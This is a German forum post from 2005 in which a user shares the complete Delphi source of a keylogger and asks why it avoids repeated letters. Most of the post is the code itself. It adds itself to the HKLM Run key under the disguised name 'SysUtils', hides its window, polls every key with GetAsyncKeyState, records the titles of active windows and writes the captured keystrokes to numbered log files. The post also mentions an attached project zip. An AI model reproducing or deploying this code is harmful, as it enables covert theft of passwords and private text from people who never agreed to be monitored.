Einzelnen Beitrag anzeigen

Aljoscha

Registriert seit: 30. Dez 2004
97 Beiträge
 
#1

Keylogger ohne dll :)

  Alt 29. Jun 2005, 18:44
Hi.
Ich habe hier den Source eines Keyloggers, der ohne dll funktioniert.
Das ganze basiert auf Timern, doch ich verstehe es noch nicht ganz.
Also so weit ich das aus dem Source ersehen kann wird da mit einem Timer bgefangen welche taste grade gedrückt wurde in diesem Moment.
Aber warum ist das nicht wi bei anderen Keyloggern dieser Art, die ein:
Hallo
in ein
HHHHHHaaaaaaaaallllllllllllllllllllllllllllllllooo oooooo
verstümmeln?
Doppelte Buchstaben us, wird alles erkannt.
ich könnte den Source einfach kopieren, aber jetzt habe ich interesse zu verstehen wie das ganze Funktioniert
Hier der Soure und im Anhang das Projekt.

Delphi-Quellcode:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, registry, FileCtrl;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer2: TTimer;
    Timer3: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Buffer:String;
  ventanaActual:String;
  ventanaAnterior:String;
implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True)
 then Reg.WriteString('SysUtils','"' + ParamStr(0) + '"');
 finally
   Reg.CloseKey;
   Reg.Free;
 inherited;
 end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
function VentanaActiva: String;
var PC: Array[0..$FFF] of Char;
     Wnd : Thandle;
begin
    {$IFDEF Win32}
    Wnd := GetForegroundWindow;
    {$ELSE}
    Wnd := GetActiveWindow;
    {$ENDIF}
    SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
    Result := PC;
end;
var i: integer;
    TeclaAnterior:String;
    letra:String;
begin
 If GetAsyncKeyState(VK_TAB)=-32767 then
 letra:=' -Tab- ';
 If GetAsyncKeyState(VK_CAPITAL)=-32767 then
 letra:=' -Caps Lock- ';
 If GetAsyncKeyState(VK_ESCAPE)=-32767 then
 letra:=' -Esc- ';
 If GetAsyncKeyState(VK_DELETE)=-32767 then
 letra:=' -Delete- ';
 if GetAsyncKeyState(13)=-32767 then
  letra:=' -Enter- ';
 if GetAsyncKeyState(8)=-32767 then
  letra:=' -Back- ';
 for i:=30 to 255 do
  if GetAsyncKeyState(i)=-32767 Then
   Case i of
    91:Letra:=' (Menu inicio) ';
    96:Letra:='0';
    97:Letra:='1';
    98:Letra:='2';
    99:Letra:='3';
    100:Letra:='4';
    101:Letra:='5';
    102:Letra:='6';
    103:Letra:='7';
    104:Letra:='8';
    105:Letra:='9';
    106:Letra:='*';
    107:Letra:='+';
    109:Letra:='-';
    110:Letra:='.';
    111:Letra:='/';
    112:Letra:=' F1 ';
    113:Letra:=' F2 ';
    114:Letra:=' F3 ';
    115:Letra:=' F4 ';
    116:Letra:=' F5 ';
    117:Letra:=' F6 ';
    118:Letra:=' F7 ';
    119:Letra:=' F8 ';
    120:Letra:=' F9 ';
    121:Letra:=' F10 ';
    122:Letra:=' F11 ';
    123:Letra:=' F12 ';
   else
    if (i<>160) and (i<>161) and (i<>45) and (i<>35) and (i<>40) and (i<>34) and (i<>37) and (i<>39) and (i<>36) and (i<>33) and (i<>48) and (i<>46) and (i<>144) and (i<>93) and (i<>92) and (i<>44) and (i<>145) and (i<>38) then
     if GetKeyState(20)=1 then //si estan activadas las mayusculas
      begin
       letra:=UpCase(chr(i));//la paso a mayuscula
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra := LowerCase(chr(i))
      end
     else //Si no estan activadas las mayusculas
      begin
       letra:=LowerCase(chr(i));
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra:=UpCase(chr(i))
      end;
      end;
     VentanaAnterior:=VentanaActual;
     VentanaActual:=VentanaActiva;
     If (ventanaActual='üý') or (ventanaActual='') then
      Exit;
     If ventanaAnterior<>VentanaActiva then
      Begin
       Buffer:=buffer+ #13#10 + '[' + VentanaActual + ']' + #13#10;
       if letra <> TeclaAnterior then
        Begin
         TeclaAnterior:=Letra;
         Buffer:=Buffer+Letra;
        End;
      End
     Else
      Begin
       if letra <> TeclaAnterior then
        Begin
         TeclaAnterior:=Letra;
         Buffer:=Buffer+Letra;
        End;
      End;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
Form1.Hide;
Timer1.Enabled:=True;
Timer2.Enabled:=False;
end;

procedure TForm1.Timer3Timer(Sender: TObject);
Var archivo: TextFile;
    X:integer;
begin
 For X:=0 to 5000 do
  Begin
   AssignFile(Archivo,'log'+IntToStr(X)+'.txt');
   {$I-}Reset(Archivo);{$I+}
    If IOResult<>0 then
     Begin
      Rewrite(Archivo);
      Writeln(Archivo,DateTimeToStr(Now));
      Writeln(Archivo);
      Write(Archivo,Buffer);
      CloseFile(Archivo);
      Buffer:='';
      Exit;
     End;
  End;
End;

procedure TForm1.FormDestroy(Sender: TObject);
var Reg:TRegistry;
begin
Reg := TRegistry.Create;
 try
  Reg.RootKey := HKEY_LOCAL_MACHINE;
  if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True)
   then Reg.WriteString('SysUtils','"' + ParamStr(0) + '"');
 finally
   Reg.CloseKey;
   Reg.Free;
 inherited;
 end;
Timer3.OnTimer(Sender);
end;

end.
Angehängte Dateien
Dateityp: zip simple_key1905286242005_228.zip (11,1 KB, 106x aufgerufen)
  Mit Zitat antworten Zitat